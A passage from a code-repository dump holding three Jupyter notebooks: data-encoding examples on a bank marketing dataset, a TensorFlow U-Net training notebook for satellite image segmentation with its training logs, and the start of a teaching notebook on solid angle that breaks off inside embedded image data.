pd.read_csv('/home/prajwal/Desktop/bank-additional/bank-additional-full.csv',delimiter=';',header=0)\n", "en.data_import(Data, label_output='y', encode = None, split = False)\n", "print('Training Data',Data.shape)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Example 4" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:178: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[col] = X[col].astype(int).reshape(-1, )\n", "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:167: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[switch.get('col')] = X[switch.get('col')].astype(int).reshape(-1, )\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Training Data (41188, 21)\n", "Test Data (4119, 64)\n" ] } ], "source": [ "Data = pd.read_csv('/home/prajwal/Desktop/bank-additional/bank-additional-full.csv',delimiter=';',header=0)\n", "data_test = en.data_import(Data, label_output='y', encode ='sum', split = True, stratify = False, split_size = 0.1)\n", "print('Training Data',Data.shape)\n", "print('Test Data',data_test.shape)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Example 5" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:178: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[col] = X[col].astype(int).reshape(-1, )\n", "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:167: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[switch.get('col')] = X[switch.get('col')].astype(int).reshape(-1, )\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Training Data (41188, 21)\n" ] } ], "source": [ "Data = pd.read_csv('/home/prajwal/Desktop/bank-additional/bank-additional-full.csv',delimiter=';',header=0)\n", "en.data_import(Data, label_output='y', encode = 'binary', split = False)\n", "print('Training Data',Data.shape)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.2" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

jiangxu87/dstl_unet

train.ipynb

1

27273

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [], "source": [ "import tensorflow as tf\n", "import simplejson\n", "import matplotlib.pyplot as plt\n", "%matplotlib inline\n", "import threading\n", "import tensorflow.contrib.slim as slim\n", "from utils import data_utils, train_utils\n", "import datetime\n", "import os\n", "import time\n", "import pandas as pd" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [], "source": [ "def argument_scope(H, phase):\n", " '''\n", " This returns the arg_scope for slim.arg_scope(), which defines the options for slim.functions\n", " '''\n", " padding = H['padding']\n", " is_training = {'train': True, 'validate': False, 'test': False}[phase]\n", " pool_kernel = [2, 2]\n", " pool_stride = 2\n", "\n", " \n", " params = {\n", " \"decay\": 0.997,\n", " \"epsilon\": 0.001,\n", " }\n", "\n", " with slim.arg_scope([slim.conv2d], \n", " # slim.relu would raise an error here\n", " activation_fn=tf.nn.relu, \n", " padding=padding, \n", " normalizer_fn=slim.batch_norm, \n", " # normalizer_fn=None,\n", " weights_initializer=tf.contrib.layers.variance_scaling_initializer()):\n", " with slim.arg_scope([slim.batch_norm, slim.dropout], is_training=is_training):\n", " with slim.arg_scope([slim.max_pool2d], stride=pool_stride, kernel_size=pool_kernel):\n", " with slim.arg_scope([slim.conv2d_transpose], \n", " activation_fn=None, \n", " normalizer_fn=None,\n", " padding=padding, \n", " weights_initializer=tf.contrib.layers.variance_scaling_initializer()) as sc:\n", " return sc" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [], "source": [ "def build_pred(x_in, H, phase):\n", " '''\n", " This function builds the prediction model\n", " '''\n", " num_class = H['num_class']\n", " \n", " conv_kernel_1 = [1, 1]\n", " conv_kernel_3 = [3, 3]\n", " pool_kernel = [2, 2]\n", " pool_stride = 2\n", "\n", " early_feature = {}\n", " reuse = {'train': False, 'validate': True, 'test': False}[phase]\n", " \n", " with slim.arg_scope(argument_scope(H, phase)):\n", " \n", " scope_name = 'block_1'\n", " x_input = x_in\n", " num_outputs = 64\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " layer_1 = slim.conv2d(x_input, num_outputs, conv_kernel_3, scope='conv1')\n", " layer_2 = slim.conv2d(layer_1, num_outputs, conv_kernel_3, scope='conv2')\n", " early_feature[scope_name] = layer_2\n", " \n", " scope_name = 'block_2'\n", " x_input = slim.max_pool2d(layer_2)\n", " num_outputs = 128\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " layer_1 = slim.conv2d(x_input, num_outputs, conv_kernel_3, scope='conv1')\n", " layer_2 = slim.conv2d(layer_1, num_outputs, conv_kernel_3, scope='conv2')\n", " early_feature[scope_name] = layer_2\n", "\n", " scope_name = 'block_3'\n", " x_input = slim.max_pool2d(layer_2)\n", " num_outputs = 256\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " layer_1 = slim.conv2d(x_input, num_outputs, conv_kernel_3, scope='conv1')\n", " layer_2 = slim.conv2d(layer_1, num_outputs, conv_kernel_3, scope='conv2')\n", " early_feature[scope_name] = layer_2\n", " \n", " scope_name = 'block_4'\n", " x_input = slim.max_pool2d(layer_2)\n", " num_outputs = 512\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " layer_1 = slim.conv2d(x_input, num_outputs, conv_kernel_3, scope='conv1')\n", " layer_2 = slim.conv2d(layer_1, num_outputs, conv_kernel_3, scope='conv2')\n", " early_feature[scope_name] = layer_2\n", "\n", " scope_name = 'block_5'\n", " x_input = slim.max_pool2d(layer_2)\n", " num_outputs = 1024\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " layer_1 = slim.conv2d(x_input, num_outputs, conv_kernel_3, scope='conv1')\n", " layer_2 = slim.conv2d(layer_1, num_outputs, conv_kernel_3, scope='conv2')\n", " early_feature[scope_name] = layer_2\n", " \n", " scope_name = 'block_6'\n", " num_outputs = 512\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " trans_layer = slim.conv2d_transpose(\n", " layer_2, num_outputs, pool_kernel, pool_stride, scope='conv_trans')\n", " x_input = tf.concat([early_feature['block_4'], trans_layer], axis=3)\n", " layer_1 = slim.conv2d(x_input, num_outputs, conv_kernel_3, scope='conv1')\n", " layer_2 = slim.conv2d(layer_1, num_outputs, conv_kernel_3, scope='conv2')\n", " early_feature[scope_name] = layer_2\n", " \n", " scope_name = 'block_7'\n", " num_outputs = 256\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " trans_layer = slim.conv2d_transpose(\n", " layer_2, num_outputs, pool_kernel, pool_stride, scope='conv_trans')\n", " x_input = tf.concat([early_feature['block_3'], trans_layer], axis=3)\n", " layer_1 = slim.conv2d(x_input, num_outputs, conv_kernel_3, scope='conv1')\n", " layer_2 = slim.conv2d(layer_1, num_outputs, conv_kernel_3, scope='conv2')\n", " early_feature[scope_name] = layer_2\n", " \n", " scope_name = 'block_8'\n", " num_outputs = 128\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " trans_layer = slim.conv2d_transpose(\n", " layer_2, num_outputs, pool_kernel, pool_stride, scope='conv_trans')\n", " x_input = tf.concat([early_feature['block_2'], trans_layer], axis=3)\n", " layer_1 = slim.conv2d(x_input, num_outputs, conv_kernel_3, scope='conv1')\n", " layer_2 = slim.conv2d(layer_1, num_outputs, conv_kernel_3, scope='conv2')\n", " early_feature[scope_name] = layer_2\n", " \n", " scope_name = 'block_9'\n", " num_outputs = 64\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " trans_layer = slim.conv2d_transpose(\n", " layer_2, num_outputs, pool_kernel, pool_stride, scope='conv_trans')\n", " x_input = tf.concat([early_feature['block_1'], trans_layer], axis=3)\n", " layer_1 = slim.conv2d(x_input, num_outputs, conv_kernel_3, scope='conv1')\n", " layer_2 = slim.conv2d(layer_1, num_outputs, conv_kernel_3, scope='conv2')\n", " early_feature[scope_name] = layer_2\n", " \n", " scope_name = 'pred'\n", " with tf.variable_scope(scope_name, reuse = reuse):\n", " # layer_1 = slim.conv2d(layer_2, num_class, conv_kernel_1, scope='conv1', activation_fn=None, normalizer_fn=None)\n", " layer_1 = slim.conv2d(layer_2, 1, conv_kernel_1, scope='conv1', activation_fn=None, normalizer_fn=None)\n", "\n", " early_feature[scope_name] = layer_1\n", " \n", " # pred = tf.argmax(tf.nn.softmax(logits=layer_1), axis=3)\n", " pred = tf.sigmoid(layer_1)\n", " \n", " return tf.squeeze(layer_1), tf.squeeze(pred)" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [], "source": [ "def build_loss(x_in, y_in, H, phase):\n", " '''\n", " This function builds the loss and accuracy\n", " '''\n", " im_width = H['im_width']\n", " im_height = H['im_height']\n", " batch_size = H['batch_size']\n", " start_ind = H['start_ind']\n", " valid_size = H['valid_size']\n", " num_class = H['num_class']\n", " epsilon = H['epsilon']\n", " apply_class_balancing = H['apply_class_balancing']\n", " \n", " logits, pred = build_pred(x_in, H, phase)\n", " y_crop = tf.cast(tf.slice(y_in, begin=[0, start_ind, start_ind], size=[-1, valid_size, valid_size]), tf.float32)\n", " logits_crop = tf.slice(logits, \n", " begin=[0, start_ind, start_ind], \n", " size=[-1, valid_size, valid_size])\n", " pred_crop = tf.cast(tf.slice(pred, \n", " begin=[0, start_ind, start_ind], \n", " size=[-1, valid_size, valid_size]), tf.float32)\n", " \n", " # formulation of weighted cross entropy loss, dice index: https://arxiv.org/pdf/1707.03237.pdf\n", " if H['loss_function'] == 'cross_entropy':\n", " if apply_class_balancing:\n", " loss = tf.reduce_mean(\n", " tf.nn.weighted_cross_entropy_with_logits(\n", " targets=y_crop, logits=logits_crop, pos_weight=1. / class_weight))\n", " else:\n", " loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=y_crop, logits=logits_crop))\n", " \n", " elif H['loss_function'] == 'dice':\n", " \n", " intersection = tf.reduce_sum(tf.multiply(y_crop, pred_crop))\n", " union = tf.reduce_sum(tf.square(y_crop)) + tf.reduce_sum(tf.square(pred_crop))\n", " loss = 1. - 2 * intersection / (union + tf.constant(epsilon))\n", " \n", " elif H['loss_function'] == 'jaccard':\n", " intersection = tf.reduce_sum(tf.multiply(y_crop, pred_crop))\n", " union = tf.reduce_sum(y_crop) + tf.reduce_sum(pred_crop) - intersection\n", " loss = 1. - intersection / (union + tf.constant(epsilon))\n", " \n", " elif H['loss_function'] == 'combo-jaccard':\n", " if apply_class_balancing:\n", " cen_loss = tf.reduce_mean(\n", " tf.nn.weighted_cross_entropy_with_logits(\n", " targets=y_crop, logits=logits_crop, pos_weight=1. / class_weight))\n", " else:\n", " cen_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=y_crop, logits=logits_crop))\n", " \n", " intersection = tf.reduce_sum(tf.multiply(y_crop, pred_crop))\n", " union = tf.reduce_sum(y_crop) + tf.reduce_sum(pred_crop) - intersection\n", " jaccard_loss = - tf.log((intersection + tf.constant(epsilon)) / (union + tf.constant(epsilon)))\n", " loss = cen_loss + jaccard_loss\n", " \n", " elif H['loss_function'] == 'combo-dice':\n", " if apply_class_balancing:\n", " cen_loss = tf.reduce_mean(\n", " tf.nn.weighted_cross_entropy_with_logits(\n", " targets=y_crop, logits=logits_crop, pos_weight=1. / class_weight))\n", " else:\n", " cen_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=y_crop, logits=logits_crop))\n", " \n", " intersection = tf.reduce_sum(tf.multiply(y_crop, pred_crop))\n", " union = tf.reduce_sum(y_crop) + tf.reduce_sum(pred_crop) - intersection\n", " dice_loss = - tf.log((intersection + tf.constant(epsilon)) / (union + tf.constant(epsilon)))\n", " loss = cen_loss + dice_loss\n", " \n", " pred_thres = tf.cast(tf.greater(pred_crop, 0.5), tf.float32)\n", " inter = tf.reduce_sum(tf.multiply(tf.cast(y_crop, tf.float32), pred_thres))\n", " uni = tf.reduce_sum(tf.cast(y_crop, tf.float32)) + tf.reduce_sum(pred_thres) - inter\n", " jaccard = inter / (uni + tf.constant(epsilon))\n", " \n", " return loss, jaccard, logits_crop, pred_crop" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [], "source": [ "def build(queues, H):\n", " '''\n", " This function returns the train operation, summary, global step\n", " '''\n", " im_width = H['im_width']\n", " im_height = H['im_height']\n", " num_class = H['num_class']\n", " num_channel = H['num_channel']\n", " batch_size = H['batch_size']\n", " log_dir = H['log_dir']\n", " norm_threshold = H['norm_threshold']\n", " \n", " loss, accuracy, x_in, y_in, logits, pred = {}, {}, {}, {}, {}, {}\n", " for phase in ['train', 'validate']:\n", " x_in[phase], y_in[phase] = queues[phase].dequeue_many(batch_size)\n", " loss[phase], accuracy[phase], logits[phase], pred[phase] = build_loss(x_in[phase], y_in[phase], H, phase)\n", " \n", " learning_rate = tf.placeholder(dtype=tf.float32)\n", " opt = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=0.8, beta2=0.99)\n", " global_step = tf.Variable(0, trainable=False)\n", " tvars = tf.trainable_variables()\n", " grads= tf.gradients(loss['train'], tvars)\n", " grads, norm = tf.clip_by_global_norm(grads, norm_threshold)\n", " update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n", " with tf.control_dependencies(update_ops):\n", " train_op = opt.apply_gradients(zip(grads, tvars), global_step = global_step)\n", " \n", " for phase in ['train', 'validate']:\n", " \n", " tf.summary.scalar(name=phase + '/loss', tensor=loss[phase])\n", " tf.summary.scalar(name=phase + '/accuracy', tensor=accuracy[phase])\n", " \n", " mean, var = tf.nn.moments(logits[phase], axes=[0, 1, 2])\n", " tf.summary.scalar(name=phase + '/logits/mean', tensor=mean)\n", " tf.summary.scalar(name=phase + '/logits/variance', tensor=var)\n", " \n", " mean, var = tf.nn.moments(pred[phase], axes=[0, 1, 2])\n", " tf.summary.scalar(name=phase + '/pred/mean', tensor=mean)\n", " tf.summary.scalar(name=phase + '/pred/variance', tensor=var)\n", " \n", " summary_op = tf.summary.merge_all()\n", " return loss, accuracy, train_op, summary_op, learning_rate, global_step" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [], "source": [ "hypes = './hypes/hypes.json'\n", "with open(hypes, 'r') as f:\n", " H = simplejson.load(f)\n", " # H['loss_function'] = 'dice'\n", " im_width = H['im_width']\n", " im_height = H['im_height']\n", " num_class = H['num_class']\n", " num_channel = H['num_channel']\n", " queue_size = H['queue_size']\n", " save_iter = H['save_iter']\n", " print_iter = H['print_iter']\n", " class_type = H['class_type']\n", " train_iter = H['train_iter']\n", " lr = H['lr']\n", " lr_decay_iter = H['lr_decay_iter']\n", " log_dir = H['log_dir']\n", " batch_size = H['batch_size']\n", "now = datetime.datetime.now()\n", "\n", "now_path = str(now.month) + '-' + str(now.day) + '_' + str(now.hour) + '-' + str(now.minute) + '_' + H['loss_function']\n", "ckpt_path = os.path.join(log_dir, now_path, 'ckpt', 'ckpt')\n", "hypes_path = os.path.join(log_dir, now_path, 'hypes')\n", "summary_path = os.path.join(log_dir, now_path, 'summary')\n", "\n", "for path in [ckpt_path, hypes_path, summary_path]:\n", " if not os.path.exists(path):\n", " os.makedirs(path)\n", "\n", "with open(os.path.join(hypes_path, 'hypes.json'), 'w') as f:\n", " simplejson.dump(H, f)" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [ { "data": { "text/plain": [ "{'apply_class_balancing': False,\n", " 'batch_size': 60,\n", " 'class_type': 0,\n", " 'epsilon': 1.0,\n", " 'im_height': 144,\n", " 'im_width': 144,\n", " 'log_dir': 'log_dir',\n", " 'loss_function': 'combo-jaccard',\n", " 'lr': 0.0001,\n", " 'lr_decay_iter': 2000,\n", " 'norm_threshold': 1.0,\n", " 'num_channel': 16,\n", " 'num_class': 2,\n", " 'padding': 'SAME',\n", " 'print_iter': 100,\n", " 'queue_size': 200,\n", " 'save_iter': 1000,\n", " 'start_ind': 32,\n", " 'train_iter': 20000,\n", " 'valid_size': 80}" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "H" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Collecting class stats [========================] 100%\n" ] } ], "source": [ "class_weight = data_utils.calculate_class_weights()[data_utils.CLASSES[class_type + 1]]" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [], "source": [ "def enqueue_thread(sess, data_gen, coord, phase, enqueue_op):\n", " while not coord.should_stop():\n", " img, label = data_gen.next()\n", " sess.run(enqueue_op, feed_dict={x_in[phase]: img, y_in[phase]: label})" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [], "source": [ "x_in, y_in, queues, enqueue_op = {}, {}, {}, {}\n", "shape = ((im_width, im_height, num_channel), \n", " (im_width, im_height))\n", "for phase in ['train', 'validate']:\n", " x_in[phase] = tf.placeholder(dtype=tf.float32)\n", " y_in[phase] = tf.placeholder(dtype=tf.float32)\n", " queues[phase] = tf.FIFOQueue(capacity=queue_size, shapes=shape, dtypes=(tf.float32,tf.float32))\n", " enqueue_op[phase] = queues[phase].enqueue_many([x_in[phase], y_in[phase]])" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Loading training data: [====================] 100%\n", "Loading validation data: [===] 100%\n" ] } ], "source": [ "loss, accuracy, train_op, summary_op, learning_rate, global_step = build(queues, H)\n", "data_gen = {}\n", "for phase in ['train', 'validate']:\n", " is_train = {'train': True, 'validate': False}[phase]\n", " data_gen[phase] = train_utils.input_data(crop_per_img=1, class_id=class_type, reflection=True,\n", " rotation=360, train=is_train, crop_size=im_width)\n", " # Run the generator once to make sure the data is loaded into the memory\n", " # This will take a few minutes\n", " data_gen[phase].next()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Global step (1): LR: 0.00010; Train loss 4.66; Train accuracy 2%; Validate loss 290.63; Validate accuracy 14%; Time / image: 0.0ms\n", "\n", "WARNING:tensorflow:Error encountered when serializing LAYER_NAME_UIDS.\n", "Type is unsupported, or the types of the items don't match field type in CollectionDef.\n", "'dict' object has no attribute 'name'\n", "Global step (101): LR: 0.00010; Train loss 0.49; Train accuracy 69%; Validate loss 9.74; Validate accuracy 0%; Time / image: 78.2ms\n", "\n", "Global step (201): LR: 0.00010; Train loss 0.70; Train accuracy 58%; Validate loss 10.66; Validate accuracy 14%; Time / image: 74.4ms\n", "\n", "Global step (301): LR: 0.00010; Train loss 0.56; Train accuracy 62%; Validate loss 8.84; Validate accuracy 16%; Time / image: 74.4ms\n", "\n", "Global step (401): LR: 0.00010; Train loss 0.49; Train accuracy 66%; Validate loss 2.59; Validate accuracy 21%; Time / image: 74.4ms\n", "\n", "Global step (501): LR: 0.00010; Train loss 0.49; Train accuracy 65%; Validate loss 4.29; Validate accuracy 23%; Time / image: 74.4ms\n", "\n", "Global step (601): LR: 0.00010; Train loss 0.89; Train accuracy 43%; Validate loss 7.59; Validate accuracy 11%; Time / image: 74.4ms\n", "\n", "Global step (701): LR: 0.00010; Train loss 0.34; Train accuracy 75%; Validate loss 4.24; Validate accuracy 22%; Time / image: 74.3ms\n", "\n", "Global step (801): LR: 0.00010; Train loss 0.50; Train accuracy 64%; Validate loss 2.39; Validate accuracy 20%; Time / image: 74.5ms\n", "\n", "Global step (901): LR: 0.00010; Train loss 0.35; Train accuracy 73%; Validate loss 4.47; Validate accuracy 19%; Time / image: 74.8ms\n", "\n", "Global step (1001): LR: 0.00010; Train loss 0.61; Train accuracy 57%; Validate loss 4.89; Validate accuracy 9%; Time / image: 74.9ms\n", "\n", "WARNING:tensorflow:Error encountered when serializing LAYER_NAME_UIDS.\n", "Type is unsupported, or the types of the items don't match field type in CollectionDef.\n", "'dict' object has no attribute 'name'\n", "Global step (1101): LR: 0.00010; Train loss 0.52; Train accuracy 63%; Validate loss 4.83; Validate accuracy 21%; Time / image: 74.5ms\n", "\n", "Global step (1201): LR: 0.00010; Train loss 0.24; Train accuracy 81%; Validate loss 4.44; Validate accuracy 18%; Time / image: 74.4ms\n", "\n", "Global step (1301): LR: 0.00010; Train loss 0.68; Train accuracy 56%; Validate loss 6.05; Validate accuracy 15%; Time / image: 74.3ms\n", "\n", "Global step (1401): LR: 0.00010; Train loss 1.42; Train accuracy 25%; Validate loss 1.87; Validate accuracy 36%; Time / image: 74.4ms\n", "\n", "Global step (1501): LR: 0.00010; Train loss 0.74; Train accuracy 50%; Validate loss 2.26; Validate accuracy 35%; Time / image: 74.4ms\n", "\n", "Global step (1601): LR: 0.00010; Train loss 0.64; Train accuracy 55%; Validate loss 4.12; Validate accuracy 21%; Time / image: 74.4ms\n", "\n", "Global step (1701): LR: 0.00010; Train loss 0.45; Train accuracy 67%; Validate loss 3.43; Validate accuracy 22%; Time / image: 74.4ms\n", "\n" ] } ], "source": [ "config = tf.ConfigProto()\n", "config.gpu_options.allow_growth = True\n", "coord = tf.train.Coordinator()\n", "threads = {}\n", "saver = tf.train.Saver(max_to_keep = train_iter / save_iter + 1)\n", "\n", "with tf.Session(config=config).as_default() as sess:\n", " summary_writer = tf.summary.FileWriter(logdir = summary_path, flush_secs = 10)\n", " summary_writer.add_graph(sess.graph)\n", " for phase in ['train', 'validate']:\n", " \n", " threads[phase] = threading.Thread(\n", " target=enqueue_thread, \n", " args=(sess, data_gen[phase], coord, phase, enqueue_op[phase]))\n", " threads[phase].start()\n", " \n", " sess.run(tf.global_variables_initializer())\n", " start = time.time()\n", " for step in xrange(train_iter):\n", " if step and step % lr_decay_iter == 0:\n", " lr *= 0.1\n", " \n", " if step % print_iter == 0 or step == (train_iter - 1):\n", " dt = (time.time() - start) / batch_size / print_iter\n", " start = time.time()\n", " _, train_loss, train_accuracy, validate_loss, validate_accuracy, summaries = \\\n", " sess.run([train_op, loss['train'], accuracy['train'], loss['validate'], accuracy['validate'], summary_op],\n", " feed_dict = {learning_rate: lr})\n", " summary_writer.add_summary(summaries, global_step = global_step.eval())\n", " str0 = 'Global step ({0}): LR: {1:0.5f}; '.format(global_step.eval(), lr)\n", " str1 = 'Train loss {0:.2f}; '.format(train_loss)\n", " str2 = 'Train accuracy {}%; '.format(int(100 * train_accuracy))\n", " str3 = 'Validate loss {0:.2f}; '.format(validate_loss)\n", " str4 = 'Validate accuracy {}%; '.format(int(100 * validate_accuracy))\n", " str5 = 'Time / image: {0:0.1f}ms'.format(1000 * dt if step else 0)\n", " print str0 + str1 + str2 + str3 + str4 + str5 + '\\n'\n", " else:\n", " sess.run([train_op, loss['train']], feed_dict = {learning_rate: lr})\n", " \n", " if step % save_iter == 0 or step == (train_iter - 1):\n", " saver.save(sess, ckpt_path, global_step = global_step.eval())" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true, "deletable": true, "editable": true }, "outputs": [], "source": [ "# coord.requst_stop()\n", "# coord.join()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.13" } }, "nbformat": 4, "nbformat_minor": 2 }

mit

a301-teaching/a301_code

notebooks/satellite_radiance_question.ipynb

1

77741

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "### Questions for Wednesday September 28, hand in at beginning of class on paper\n", "\n", "---" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "a) Show formally that:\n", "\n", "$$\\Delta \\omega \\approx \\frac{area}{R^2}$$ \n", "\n", "by integrating a cone like this:" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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